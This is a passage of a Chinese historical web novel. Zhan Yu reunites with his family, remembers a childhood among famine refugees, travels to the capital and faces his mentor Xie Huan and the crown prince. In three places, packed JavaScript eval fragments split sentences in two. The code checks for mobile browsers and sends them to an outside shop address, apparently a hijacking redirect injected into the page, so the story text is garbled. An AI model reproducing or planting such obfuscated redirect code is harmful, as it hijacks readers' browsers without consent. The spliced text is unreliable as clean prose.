他这人交游广阔,三教九流皆有涉猎,可谓是朋友遍地。但真要论及真心想结交的,寥寥无几,徐仲麟绝对算得上一个。这倒不是因为徐仲麟有多八面玲珑,恰恰相反,这书生骨子里那股清高与执拗,倒让展毓觉得有些意思。 徐家自当年那桩变故后家道中落,日子过得捉襟见肘。徐仲麟孤身一人滞留临安,不愿收受贿赂,为了攒足上京赶考和维生的路费,只得在私塾里给蒙童教书。 展毓原本家底也不丰厚,若是直接拿钱过去,以徐仲麟那宁折不弯的脾气,不仅分文不会收,只怕当场就要觉得受了折辱,与他割袍断义。 于是,在这多逗留的一个月里,展毓先是换了身普通客商的行头,寻到了临安城里声望最高的书局,砸下一笔银子,托掌柜出面去私塾找徐仲麟求字。 掌柜的按照展毓的吩咐,对徐仲麟恭敬有加,只说东家近日想找有真才实学的士子为几部孤本古籍做誊抄。不仅给出了比抄书高一些的润笔费,还以怕先生被别家请去为由,强行留下了一半的定金。 离别那日,徐仲麟送展毓出城,书局的活计解了燃眉之急,徐仲麟那张总是带着几分愁苦的脸上,难得透出了几分轻松与书生意气。 等那俩摇摇晃晃的马车驶入沽阳县时,已经下起了雪。 展毓裹着件半旧不新的白狐裘跳下马车,一瞬间,碎雪扑面,周遭白茫茫一片,独他一人眉如浓墨,唇若点朱,任谁都会觉得这是哪家不问世事的富贵少爷。 他一抬头,便瞧见了县衙门头上那块写着明镜高悬的牌匾。 俗话说,三年清知府,十万雪花银。别处当个七品芝麻官也能捞得盆满钵满,展大人倒好,连县衙大门的漆掉了都不补一补,展毓绕过前堂,熟门熟路地直奔后院的内宅。 天色已经完全暗了下来,内院只点了两盏灯,展钧为官清廉,展府里也甚是简朴,仆从也不多。 走到正房门口,展毓对着下人嘘了一声,走到门口,一家人正在吃饭。 正对门坐着的展颜正百无聊赖地戳着碗里的饭,忽地一抬眼,小丫头的眼睛瞬间亮得惊人,连筷子都顾不上放下,像只小雀儿般一头扎进了展毓怀里:“兄长!” “撒手,让我瞧瞧。”展毓略微使劲,像拎小猫一样把展颜从怀里拎出来,手指被冻得有些僵硬,在碰到温热的小脸时下意识缩了缩,怕冰着她,只是摸了摸妹妹的头,“啧,怎么瞧着胖了,是不是趁我不在吃独食了?” “才没有!我明明想兄长想得茶饭不思!”展颜气鼓鼓地说。 展毓忽然变戏法似的掏出一个油纸包,在展颜眼前晃了晃,塞到了她手里,展颜心满意足地欢呼一声,抱着云片糕跑了。 展钧和展夫人薛珍闻声,同时转过头。 薛珍看见展毓的一瞬间,眼眶就红了,水汽迅速漫上来。连平时不苟言笑的展钧,眸光也柔和了几分,朝他点了点头。 “小毓。”薛珍几步迎到门口,一把攥住展毓冰凉的手,眼泪已经落了下来。 “让娘担心了。”展毓任由母亲拉着。 他在临安城里刀都架到脖子上时还能谈笑风生,此刻却卸下了所有的防备,说话都带着鼻音:“娘,牢里的饭菜像馊泔水,我做梦都想吃你做的饭。” 薛珍被他说得更是心如刀绞,一边抹泪,一边拉着他往桌边走:“还没吃饭吧?快,快坐下,锅里还有热的……” 薛珍一哭起来便有些收不住,展毓在临安下狱、险些被当成杀钦差的凶手砍了脑袋的消息,简直要了她半条命。哪怕展毓早就派书童提前带回了口信说平安无事,让她莫要担心,心里难免也要记挂着。 展钧依旧板着脸,看着展毓略显消瘦的脸,沉声道:“下次不可再这般鲁莽行事了。” 展毓扒了一口饭,腮帮子还鼓鼓囊囊的,咽下后才说:“知道了。” “打算什么时候动身入京?”展钧问。 “过了年再走,会试时间推迟了。” 展钧点点头:“你什么时候结交了江起元江大人?前几日,他竟来府上坐了半日。” 展毓夹菜的手停在了半空。 江起元?他绕道来沽阳县这个鸟不拉屎的穷乡僻壤做什么? 薛珍插话:“江大人是个和善的人,一点也没有架子,还给我和颜儿带了不少料子和补品,他一直夸你,说你在临安仗义执言,临危不惧,是个难得的可造之材。” 展毓慢慢把筷子收了回来,搁在碗沿上,带着乖巧笑意的脸瞬间僵硬了一瞬。 可造之材?一份胡言乱语的答卷,江起元能看出什么?他一个无名小卒,不过是被迫卷入漩涡之中,就算没有他,这个案子该怎么结还是怎么结,皇上绝不会放过周延寿。 太子的恩师巴巴地跑到沽阳来送礼,分明是来考察这把刀的成色,看看将来能不能为东宫所用。 “老师修书来了,说你去京城后直接住进谢府,方便照应。”展钧看着展毓的神情不对,便转移了话题。 展毓还在想之前的事,心不在焉道:“谢大人官居高位,我住在他府上平白落人口实,还是去住客栈自在。” 展钧沉默了一会:“此事日后再议,吃饭吧。” 这顿饭展毓吃得食不知味,饭才吃到一半,一个少年风风火火地从院门外跑了进来,展毓索性借口奔波劳累,放下碗筷,叫上卫仪一同回了自己的房间。 一进屋,展毓就问:“我不在的这段日子,家里可有什么事?” 卫仪是个话唠,絮絮叨叨地说个不停:“公子你不在,夫人成天以泪洗面,老爷虽然嘴上不说,但也整宿整宿在书房里熬着,小姐连最爱吃的糕点都不碰了,就怕您在临安有个什么三长两短……” 卫仪越说越激动,眼看着也要抹眼泪,展毓无奈地在他脑门上敲了一记:“别嚎了,挑要紧的说。” “哎哟!”卫仪捂着额头,委屈巴巴地抱怨,“公子你别总敲我头啊,本来就长得慢,再敲下去长不高了,我以后怎么娶媳妇儿!” 展毓无辜地眨了眨眼睛,笑得很欠扁:“你娶不到媳妇,纯粹是因为人傻,跟高矮没多大关系,少往我头上赖。” 卫仪揉了揉脑袋,这才正色起来:“最奇怪的就是那个江大人,他来咱们家,对着夫人就是一通夸,简直把你夸成了天上的文曲星下凡。然后就开始拐弯抹角地打听,问你哪年开的蒙、平日里爱看什么书、脾气秉性如何……我在旁边端茶倒水听着,估摸着江大人连你的生辰八字都套走了,公子,你说……”卫仪挤眉弄眼,“是不是江大人看上你了,拿你的八字去和他家小姐合一合,想招你做女婿啊?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454169|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听着这浑话,展毓嘴角的笑意一点点消失了。伸手不打笑脸人,展毓在外人面前,总是挂着三分笑,让人忍不住生出几分好感。 可私底下,展毓却没有那么多表情,就好比现在,卫仪知道,这种时候,他通常更想一个人待会,卫仪懂事地闭上了嘴,轻手轻脚地退了出去。 乱世人命如草芥,卫仪是在战乱之中失去父母的,此后他一直混在流民堆里,直到遇到展家夫人。展夫人见他年纪小,就说府中正缺做事的,把他带回来沽阳县。可是他到展家才发现,展家哪里需要多少下人,除了自己也就一个做饭的阿姨,薛珍就让他当展毓的书童,陪他读书玩耍,有个同龄人一起总会好些。 卫仪在外面流浪了许久,刚到展家的时候有些谨小慎微,怕又被人赶出去。他被安排照顾展毓,知道自己只能看展毓的脸色过日子。那时候展毓跟现在完全不一样,瘦骨嶙峋,看人的眼神带着一股凶狠的戾气,除了展夫人,不跟任何人说话。 卫仪认识那种眼神。在流亡的路上,所有穷途末路的亡命徒大抵都是如此。 夜深人静。 展毓躺在床上,这些日子以来的倦意一扫而空。可是哪怕怀里抱着个汤婆子,屋里还摆着炭盆,他还是觉得冷,冷得身体发颤。这是以前落下的病根,药石无医。 前朝末年,天下大乱。 那时展钧还在京城刑部任职,元宵佳节,他带着年幼的展毓在护城河边看花灯。偏偏城西有暴民作乱,展钧急于去平乱,便让他在桥头等着。就那半个时辰的疏忽,人潮汹涌,一阵推搡过后,展毓走丢了。 改朝换代,伴随着席卷北方数省的严寒。千里无鸡鸣,白骨露于野。 展毓蜷缩在床上,紧了紧棉被,眼前是冻得发硬的土和散发着恶臭的死人堆。 一个满脸烂疮的疯妇人把他按在草堆里,展毓以为自己要被吃了,拼命挣扎,在妇人的手腕上咬了一口,咬出了血。 疯妇人嘴里嘟囔着胡话,拿起镰刀,粗暴地刮去了他的眉毛,鲜血模糊了视线,火辣辣的疼。妇人似乎还不解气,抓起地上的泥,死命地往他脸上抹。 “别洗……别洗脸……” 那时候展毓还不知一个生得粉雕玉琢的孩子落在流民堆里意味着什么,他只觉得脸好疼,恨极了那个妇人。 后来那个妇人饿死了,被几个人拖到了破庙后头。 展毓躲在佛像后面,他捂着自己的嘴,咬破了舌尖,嘴里全是泥土和血。 他跟着那群难民,与狗抢食,看着身边的人一个接一个地倒下,被野狗拖走…… 第二年冬天,他饿得实在走不动了,倒在雪地里,体温一点点流失,第一次觉得,雪也是暖和的。 耳边传来马蹄声,有人在惊呼:“找到了!找到了!” 等展毓醒来时,已经睡在柔软的床上,怀里还塞着一个汤婆子,可他的身体却因为冷不受控制地痉挛。 床边站着一个眼睛红肿的女人,见他睁眼,那女人声音嘶哑地哭喊:“小毓……” 展毓眼前一片模糊,只能听到声音,喉咙里溢出一声微弱的呢喃:“娘……” 那一声耗尽了所有的力气,很快又陷入了昏睡之中。 展毓从噩梦中惊醒,大口大口地喘着粗气,良久,他下意识地摸了摸自己的眉毛,那里早就长出两道浓眉,可指尖的触感却是凹凸不平的。 9. 入京 临行那日,薛珍轻手轻脚地推开房门,做贼似的从袖里摸出个小匣子,塞进展毓手里。 薛珍轻叹一声:“你爹这人为人刚直,想必也拿不出多少盘缠给你,这是娘的嫁妆,你贴身收好。京城不比咱们小地方,若是出了什么事,也好有个打点逢迎的办法。” “……” 展毓掂了掂匣子的分量,一阵默然。 若是让展钧知道自家夫人偷偷资助儿子去京城打点逢迎,只怕要气得吐血不可。退一万步讲,若京中的人情世故仅凭这点东西便能打通,那满朝文武倒真算得上两袖清风了。 展毓见他娘言语之中已经红了眼眶,便不再推辞,只得收下。纵然到了山穷水尽的境地,也没有动用母亲嫁妆的道理。 他替母亲拢了拢披风,笑了笑:“娘,儿子此去,不仅全须全尾地回来,还要给您挣个诰命夫人当当。” 出了正月,展毓便带着卫仪上路了。 从临安到京城,走的是运河水路,再转陆路。一路舟车劳顿,卫仪从小在流民堆里滚打长大,本以为是个糙人,没成想一上船就吐得昏天黑地,偏生碰上运河里南来北往的商船太多,河道一时承载不下,堵得舳舻相接,在水上耽误了许久。 后来转了马车,卫仪更是颠得连黄水都快吐干了。展毓身为公子,一路上倒像伺候大爷的,没少给书童端茶递水。如此走走停停,硬生生在路上磨了两个月,才终于望见了巍峨的城墙。 天子脚下自是与江南截然不同,初春草木尚未复苏,见不到半点绿意,朔风裹挟着尘土,刮在人脸上隐隐作痛。行人皆是行色匆匆,大多揣着袖子,缩着脖子。 一入内城,展毓并未急着找地方歇脚,领着晕头转向的卫仪在纵横交错的巷弄里七拐八绕,最后停在了一处宽敞的院墙外。 此处是户部下辖的一处官家草料场,进进出出的全是运送军马粮草的辎车,马粪的味道冲鼻得很。 “公、公子……呕……”卫仪死死捂着鼻子,一张脸憋成了猪肝色,好不容易压下去的晕车劲儿又翻了上来,“咱们来这干嘛呀?” 展毓回过神来,再抬眼时,已是那副云淡风轻的模样。 展毓随口胡诌:“京城里的草料价钱,最能看出边关的战事紧不紧,户部缺不缺钱,我这是在观察国运,学着点。” 卫仪似懂非懂地“哦”了一声,小声嘟囔:“公子真是神人,看个马粪都能看出国运来……所以国运如何?” 展毓眉头微蹙,掩鼻拂袖转身便走,大概意思就是臭不可闻罢! 等他们摸到谢府大门时,已是日暮。卫仪看着门口那两尊威风凛凛的石狮子,咽了口唾沫:“公、公子,咱们真要住这儿?” “怕什么?不过是借住几日,探探风向,等在外头租到合适的住处,找个由头搬出去便是。”展毓神色自若。 这座宅子的主人便是当朝工部尚书谢焕,谢焕乃是两朝元老,改朝换代后非但没被牵连,反而青云直上,成了当今皇上倚重的柱国之臣。 按理说,展毓一个小小的七品县令之子,连谢府的门槛都够不到,但偏偏谢焕就是展钧当年在翰林院时的座师。 前朝的时候展钧跟着一帮愣头青上疏,触怒龙颜,被一脚踹到地方。满朝文武避之不及,唯独谢焕没急着撇清干系,反而在私下里常叹“吾门下风骨铮铮者,唯展钧一人耳!” 这位谢大人在民间的名声,却有些一言难尽。市井街巷间,关于谢府的八卦能编出好多戏文,都说他宠妾灭妻。 谢焕的原配夫人出身名门,生下的嫡子谢青晏规矩本分,学问极好,动辄遭谢焕严厉训斥,反倒是那外室所出的庶子谢青藜,斗鸡走狗、不学无术,却被谢焕宠上了天。坊间传言,当年谢夫人就是因为这外室子进门,活活气得香消玉殒的。 两人刚靠近石阶,侍卫立刻横刀一拦,虽未拔刀,但那股子居高临下的傲慢气焰,吓得卫仪像个鹌鹑似的缩到了展毓身后。 展毓也不恼,朝他们温和一笑:“劳烦二位通禀一声,临安展钧之子展毓,特来拜见老师。” 那侍卫上下打量了他一番,见这人衣着寒酸,身边还带着个土里土气的书童,冷笑一声:“大人发过话了,最近正值春闱,为避嫌,凡是自称门生故旧的,一律不见,哪儿凉快哪儿呆着去!” 卫仪急得直挠头,探出半个脑袋争辩:“嘿!你这人怎么不讲理,我家老爷真是谢大人的门生!” 侍卫面色一沉,手已按上了刀柄。 展毓眼珠一转:“不见学生?那若我说,我是你们家二公子的朋友呢,劳驾通禀一声,我找谢青藜。” 侍卫一听“谢青藜”三个字,脸色更难看了。谢二公子是京城有名的败家子,每天来找他逛窑子听曲的纨绔子弟能把谢府的门槛踏破,老爷不管,他们这些下人更是头疼。 “滚滚滚!”侍卫不耐烦地挥手,“再不走我拿棍子赶了!” 展毓:“......” 谢青藜在京城的名声,怎么比他想象中的还要差。 侍卫正要发作,忽听得门内传来一阵骂骂咧咧的声音。一个衣着华贵的锦衣公子哥儿走了出来,一脸的不耐烦:“哪个不开眼的敢在外头冒充小爷的朋友?小爷我都好几个月没去……” 他看见展毓,就像是老鼠见猫,那股子无法无天的跋扈劲儿瞬间烟消云散,硬生生挤出一个灿烂得近乎谄媚的笑容。 “哥!你怎么现在才到!” 谢青藜几步窜下台阶,拽住展毓的袖子,那叫一个亲昵熟稔,哪里还有半点京城恶少的样子,活像个见到了克星的熊孩子。 当年谢焕回江南丁忧,顺道把谢青藜带去了临安。谢青藜横行霸道惯了,这混世魔王没少惹事,结果不长眼惹到了展毓头上,被展毓连削带打,以其人之道还治其人之身,硬生生把他收拾得服服帖帖。此后谢青藜一见展毓就觉得肚子痛脚抽筋,偏偏又犯贱,爱巴巴地贴上去找虐。 侍卫默默退到了门口,还冲卫仪露出一个比哭还难看的笑。卫仪倒也大度,学着自家公子朝他们微微一笑,表示自己既往不咎。 “到了京城怎么也不提前跟小弟说一声,我好派八抬大轿去接你啊!”谢青藜拉着展毓就往门里拽。 展毓不动声色地拂开他的手:“八抬大轿就免了,你家门槛太高,差点进不去,哪敢劳谢二公子大驾。” 谢青藜一听,立刻回头,狠狠瞪了那几个守卫一眼,转头又对着展毓赔笑:“哥你别跟这些下人一般见识,你是不知道这几日有多少人来拜访我爹,打着各种旗号的都有,虽说我爹是德高望重,但那俞家也是啊,怎么没人去找俞大人,全跑我们家来了?” 卫仪憨憨地说:“大概是因为谢大人看着比俞大人和善些?” 展毓轻笑了一声,不置可否。 在朝堂上摸爬滚打了几十年,活成了人精的老狐狸,心切开来全都是黑的,哪有和善的。 两人在前厅花厅里坐着聊了一会儿闲篇,外间方才传来一阵脚步声。 谢焕一袭绛紫朝服,步入厅堂,一边走一边由着侍从替他摘去头顶沉甸甸的发冠。他身量清癯,宽大的朝服穿在身上略显空荡,但那双深邃的眼睛中却神采奕奕。 “毓儿来了。”谢焕在主位上坐下,端起下人刚奉上的热茶。 展毓立刻起身,恭恭敬敬地行了大礼。 “坐吧。”谢焕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454170|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬了抬眼皮,“你父亲母亲身子可好?今年没出什么乱子吧?” 二人你一言我一语地寒暄起家常,话题渐渐由家长里短延伸至地方的政务民生,一旁的谢青藜听得如坠云雾,哈欠连天,上下眼皮直打架。 待家常闲话叙得差不多了,谢焕才道:“临安的事情我在京城都听说了,既然出了这么大的事,为何不派人向京城求援?我虽一把老骨头了,保你一条命还是做得到的。” 展毓垂下眼,姿态极是恭顺:“事发突然,学生不敢轻举妄动,更怕把老师扯进浑水之中,坏了老师的清誉。” 谢焕微微颔首:“既然来了京城,这几日好好歇息,过两日准备妥当了,当备一份厚礼去拜会江大人,此番你能在临安全身而退,多亏了他的照拂。” “我来说!我来说!” 原本装死的谢青藜突然跳了起来,不知死活地插嘴:“哥,你现在可是京城的大名人了!你是不知道,江大人回京之后,逢人就夸你,说你学识过人,能言善辩,是个当世奇才,现在不仅我爹这种朝堂大员知道你的大名,就连胭脂巷里的姑娘们都知道你是太子眼前的红人呢!” 话一出口,谢青藜顿觉失言,赶紧捂住嘴巴,干巴巴地笑了两声,尿遁了。 谢青藜走后,谢焕屏退了左右,冷冷开口:“你借了江起元的势,是不是还觉得自己手段了得?” 展毓刚要回话。 “骄傲自满!”谢焕猛地一拍桌案,“江起元逢人便夸你,你以为他是在惜才?他那是把你架在火上烤,昭告天下,你展毓是太子的人!” 展毓实在没想到江起元会这么看得起他,虽惊却不乱,辩解道:“学生并非有意攀附东宫,只是当时情势危急,除了借江大人之势,再无破局之法。” “皇上为何留着展钧在沽阳县当县令?是因为你爹是个孤臣,是个不结党营私,谁的账都不买的孤臣,你抖机灵逞一时之快,主动把刀把子递给了东宫,一个毫无根基的外乡学子,连春闱的考场都还没进去,就已经被绑在太子身上,你让皇上怎么看你,皇上还会留着你做孤臣吗!” 皇帝膝下虽有四子,成年的唯有太子一人,另外三个年纪相仿,都才刚刚开蒙不久,还不成气候。太子一个人把嫡、长、贤全占了,母族凋零,更无外戚干政之忧,地位之稳固。即便是被江起元器重,又何以会引来杀身之祸? 思及此,展毓道:“学生就算真受了江大人恩惠,皇上也不至于因此对展家动杀机。” 谢焕压低了声音:“几月前,周延玺五十大寿,皇上为了显皇恩浩荡,特意召了几个周延玺当年的旧部武将回京贺寿,结果周家的旧部竟然和太子掌管的禁军在城门口因为盘查的事情大打出手,闹得满城风雨。” 话至此处,犹如拨云见日,展毓已经明了。 皇上此举分明是在试探太子,顺便挑拨太子和周延玺的关系。若他已经对羽翼渐丰的太子生出猜忌之心,那江起元偏在此时大肆鼓吹展毓的才名,无异于在天子的眼皮子底下,明目张胆地替太子招兵买马。 “看来你是想明白了。”谢焕看着展毓面色不虞,知他已明白其中利害,语气复又温和下来,“你初来乍到,单凭这张脸,便足以在京中掀起轩然大波,如今朝堂之上波谲云诡,切莫再恃才傲物,凭你那点小聪明行事了。” 谢焕缓缓站起身来,踱步至展毓身侧,拍了拍他的肩,意味深长地留下了最后一句话。 “你让李修文带来的话,我收下了。从今天起,你必须先做一个塞耳闭目的聋子、瞎子。自己想办法重新入皇上的眼,我等你站到高处。” 他顿了顿,声音微沉:“你也莫要再惦念那些故人了。” 10. 故人 自古道“长安居,大不易”,大齐的京城也是这个理。别说是那些没根基的学子,就是外放几年回京的官员,若是在个清水衙门里熬出来的,连个像样的独门独院都买不起。 展毓这几日便深切体会到了其中的辛酸。他兜里那点银子,自然是租不起贡院附近那些被炒上天的吉寓,也不愿去同乡会馆里挤。在内城转悠了三天,总算在城东寻到一处一进小院,交了足足半年的租金。 院子里空空荡荡,前任租客大概也是个懒人。安顿好之后展毓也没闲着,城东城西地转悠,把附近的地界摸了个七七八八。 待到诸事妥当,再去拜见江起元,已是几日之后的事了。他先是递了名帖,又去铺子里包了几样精致的糕点,在胭脂巷挑了两盒上好的水粉。 官场上的学问,都在这些细枝末节里。去拜访这种清傲之人,送古玩字画显得刻意,但你若在他夫人和孩子身上用了心,既示了亲近,又不失分寸,多半会达到事半功倍的效果。 江府也坐落在城东,寻常的京官,尤其是江起元这种东宫近臣,巴不得住在达官贵人扎堆的宣武门内,偏他是个异类。 江起元在前朝就是个因为看不惯风气就辞官的硬骨头,骨子里带着散淡。加之太子已经及冠,早早开始理政,他也不用每日进宫讲学,索性在这偏僻地界寻个清闲。令人意外的是,江起元竟亲自在院外迎他。 这宅子实在不大,几步就能走到头,唯独中间有一个颇大的庭院,中有一亭,名曰“自在亭”。身在漩涡之中,哪里会自在,不过是缺什么标榜什么罢了。 刚在亭中坐定,寒暄了几句临安的风物,江起元便不动声色地开始下套。 展毓等了一会儿,主动出击:“今日相见,学生有些心里话,不吐不快。” “哦?”江起元把茶盏放下,眯眼看他,“说来听听。” “学生此番入京备考,不过是一心想着能得个名次,此后谋个差事,让家父宽心,别无他求。大人抬爱,学生感激不尽,只是……”他微微顿了顿,“实在当不起大人这般厚望。” 江起元却不接这个话茬,反问他:“太子如何?” 展毓面不改色:“学生时常听闻,殿下仁德宽厚,有君子之风,来日必是承平明君。” 江起元哈哈大笑,笑声里透着几分深意:“皇上可不止太子这么一个孩子。” 展毓心知他在绕圈子,便也不紧不慢地跟着绕:“皇上对殿下的情分,自然是其他皇子比不了的。” 江起元看了展毓一会,冷不丁地问:“你知道赵家吗?” 展毓道:“略有耳闻,老师不愿多讲。” 江起元叹了口气:“赵氏……在京中确实无人敢提了,你倒是说说,你这略有耳闻,究竟听闻了多少?” 展毓眼皮微垂:“赵氏曾立下汗马功劳,后来恃功自傲,意图谋反,最终落得个满门抄斩的下场。” 江起元听完反而问了一个风马牛不相及的问题:“你在京城转悠了这么久,就没感觉哪里不自在?” 展毓抬起眼:“大人的意思是,我同那谋逆的赵家人长得很像?” 这几日他在街上,偶尔碰到过几个年纪大的官员,那些人看他的眼神简直像白日里见了鬼,匆匆移开视线后又偷偷打量。 江起元倒是大方承认:“我去过你沽阳县的家里,你母亲确实与赵夫人有几分相似,你肖母,长得与赵家人相像,倒也是情理之中。” 展毓自嘲:“原来这才是江大人看重我的原因,我还以为是我文章写得好呢。” 江起元继续道:“我跟人说起你,一是为了让周延玺投鼠忌器,哪怕心有不甘,也不敢轻举妄动,至于第二点……这心思说出来怕你取笑,是一点私心,赵小公子是我的学生,我对他,是有一些情分的。” 江起元这番话把算计与私情糅合得天衣无缝,展毓深知人心隔肚皮,情分都要为权力让路。利用是真的,顺便缅怀一下故人也是真的。 江起元下这么大一盘棋,把自己和太子绑在一起,铺垫了这么久,独独就差把那个人推到他面前了。 思及此,展毓的右眼皮突然狂跳起来,他不经意地用余光瞥了瞥外面。 院门处,一人独自走了进来,那人身形极高,穿了一件再寻常不过的素色常服,步履间却带起了一阵风。直到那道颀长的身影逼近“自在亭”,展毓才跟着江起元一同站起来。 权力不需要蟒袍玉带装点,更不需要前呼后拥来虚张声势。它是一种无形的压力,只要他站在这里,周遭的草木虫蚁,乃至风,都得被迫顺着他的规矩来。 江起元是老师,自然不用动,展毓跟着他站了一会,随即才意识到自己的身份,膝盖便极其识时务地要弯下去。 还没等他跪实,一双有力的手却稳稳地托住了他的小臂。 “不必多礼。” 低沉和缓的嗓音,如春风拂耳。展毓顺势抬眼,凌沧嘴角噙着一抹极浅的笑意,正光明正大,甚至可以说是肆无忌惮地审视着他。 天气还有些凉,太子的手心却很烫,隔着一层薄薄的布料,烫得展毓小臂发紧。 展毓也赶紧换上了一副受宠若惊的笑脸:“都说殿下仁爱宽厚、礼贤下士,今日一见,果真如此。” 凌沧显然早就习惯了这种毫无营养的奉承,自动把这些废话当成了耳旁风。手依然搭在展毓的臂弯上,没有要松开的意思。 展毓能感觉到那道视线落在自己的眉眼上,越来越沉,越来越烫。心底顿觉不妙,不是,这位殿下怎么上来就动手动脚的。 堂堂一国储君,不琢磨着怎么治国平天下,净琢磨着怎么在别人身上揩油了。 “展毓。” “臣在。”展毓低下头,掩去了眼底所有的锋芒。 凌沧不动声色地松开手,再看过去时,已经端着一副谦谦君子的做派:“老师说你文章写得好,临安一案,你单枪匹马也敢去敲鼓鸣冤,这份胆识,孤很欣赏。” 展毓陪着笑:“殿下过誉了,不过是刀架在脖子上,情急之下使了点小聪明,侥幸逃脱罢了。” “你此番上京应试,可有什么打算?”凌沧脸上笑意不减,仍然看着展毓,显然是不想放过他脸上的任何表情。 “读书入仕,为国效力,乃读书人本分。”展毓答得四平八稳。 这官腔打得太滑溜了,凌沧索性单刀直入:“朝廷现在正是用人之际,若你愿意,将来未必只是翰林院里的词臣。” 其他人听到当朝太子给出“未必只是词臣”这种等同于宰辅之才的许诺,怕是早就痛哭流涕,跪下磕头表忠心了。 展毓心道:这人明明从进门开始眼睛就长在自己脸上,眼珠子都没舍得转一下,这会儿倒装起求贤若渴了。 如果太子真的有这方面的癖好,展毓暗自掂量了一番,觉得自己倒也确实有让人色令智昏的本钱。 只是他眼下还没落魄到需要靠出卖色相去换乌纱帽的地步,现在做未免太跌份了些,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454171|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也得等哪天真到了穷途末路,再来跟殿下慢慢谈这笔“为国捐躯”的买卖。 “殿下说未必只是词臣,”展毓脸上带着点无害的笑意,“臣不过是个贡士,身无长物,除了一张脸还能见人,再无长处。殿下若是破格用了,旁人只怕要笑话殿下眼光不济,甚至要传出些不好听的风言风语来。不若等臣日后侥幸得了名次,真正立住了脚,再蒙殿下提点也不迟。” “你是在告诉孤,”凌沧眼中的笑意加深了几分,意味深长地看着他,却隐隐有逼视的意味,“孤的眼光,需要靠功名来检验?” 展毓暗骂这笑面虎难缠,面上越发恭敬:“臣胆子小得很,这次能活着到京城已经是祖宗显灵了,能做个县令已是心满意足,殿下的大业,臣实在是不敢高攀。” 他这番推脱之词说得行云流水,活脱脱一个没见过世面、贪生怕死的小民。 亭外风过,树梢轻动。凌沧脸上的笑意终于变淡了,他满怀期望地赶来,以为能见着一个敢与周党硬碰硬的才俊,可眼前这人市侩的做派,却让他生出一种莫名的烦躁与愤怒。 凌沧上前一步,拉近了两人之间的距离,温声道:“知道你是个不争的,只想求个安稳。没有孤的庇护,你这等样貌才情,怕是连城门都走不出去,又遑论去做什么县令呢?” 威胁,绝对是威胁。似乎满心满眼都在替他打算,可字字句句都在逼人就范。 展毓原本以为这位殿下当真有多温和仁恕,现在看来,耐心和包容也是有限的,骨子里依然是顺我者昌逆我者亡的霸道做派。 他本来只想装疯卖傻糊弄过去,不知道怎么就被踩着了尾巴,一股突如其来的火气冒了出来。 展毓抬起头,直视着那双深不可测的眼睛:“臣斗胆问一句,殿下的庇护……能挡得住圣意?” 普天之下,除了龙椅上那位,谁敢用这种大逆不道的语气质问当朝太子,这已经不是不知好歹,这是在找死。 简直是哪壶不开提哪壶!就在这剑拔弩张、一触即发的当口。 “咳咳咳——” 江起元不紧不慢地挡在两人中间,打着圆场:“殿下,这小子在牢里蹲得久了,受了些惊吓,满脑子都是保命的念头,说起话来口不择言。” 他瞪了展毓一眼,呵斥道:“还不快向殿下请罪!” 接着又转过头,对着凌沧和颜悦色地劝道:“年轻人嘛,总得先淬淬火,敲打敲打才能成器,殿下心怀四海,何必跟一个惊弓之鸟一般见识?” 这一番唱念做打,生生把大逆不道的顶撞,化解成了不知者无畏的闹剧。 展毓极有眼力见,立刻就着江起元递来的台阶滚了下来:“殿下恕罪,臣口拙,乡下人没见过大世面,被殿下身上的龙气一冲,舌头打了结,这才胡言乱语,绝无冒犯之意!” 凌沧发觉自己方才差点在一个举子面前乱了分寸,也是气笑了:“孤倒觉得,你这张嘴一点都不拙啊。” “殿下谬赞,”展毓硬着头皮接下这句不知是夸还是贬的话,“臣是个急性子,到了殿下面前,吓得什么话都往外蹦了。” 这话说得半真半假,既服了软,又暗戳戳地刺了一句是太子仗势欺人在先。 凌沧听出他话里的言外之意,非但没恼,反而无可奈何地笑了笑。 “怎么还记上仇了?”凌沧笑吟吟地看着他,温煦如常,“这一路进京吃了不少苦吧?春闱在即,好好养养精神,安心温书。孤在金殿上,等着看你的文章。” 11. 寻花 临近三年一度的会试,京城里大大小小的客栈中多的是挑灯夜战的举子。 太子让展毓好好温书,等着他一鸣惊人。 展毓当时规规矩矩地回答:“好的,殿下。” 然后他就去了鸣玉坊。 鸣玉坊是京城最大的烟花之地。 炉里吐着丝丝缕缕的烟,如梦似幻。展毓歪在暖阁里,衣襟微敞,未着冠,独用玉簪松松绾住一半乌发,余者尽垂散于肩。 这等不羁的打扮,若是换了旁人,定是个轻浮浪子,偏他生得浓艳逼人,双颊晕着微醺的酡色,似桃花着雨,海棠经露。 “展公子这双眼睛,真是长得比姑娘还要勾人。”如烟笑着,剥开葡萄,把果肉送至展毓唇边,“若是公子肯天天来,我便是倒贴银子也心甘情愿呢。” 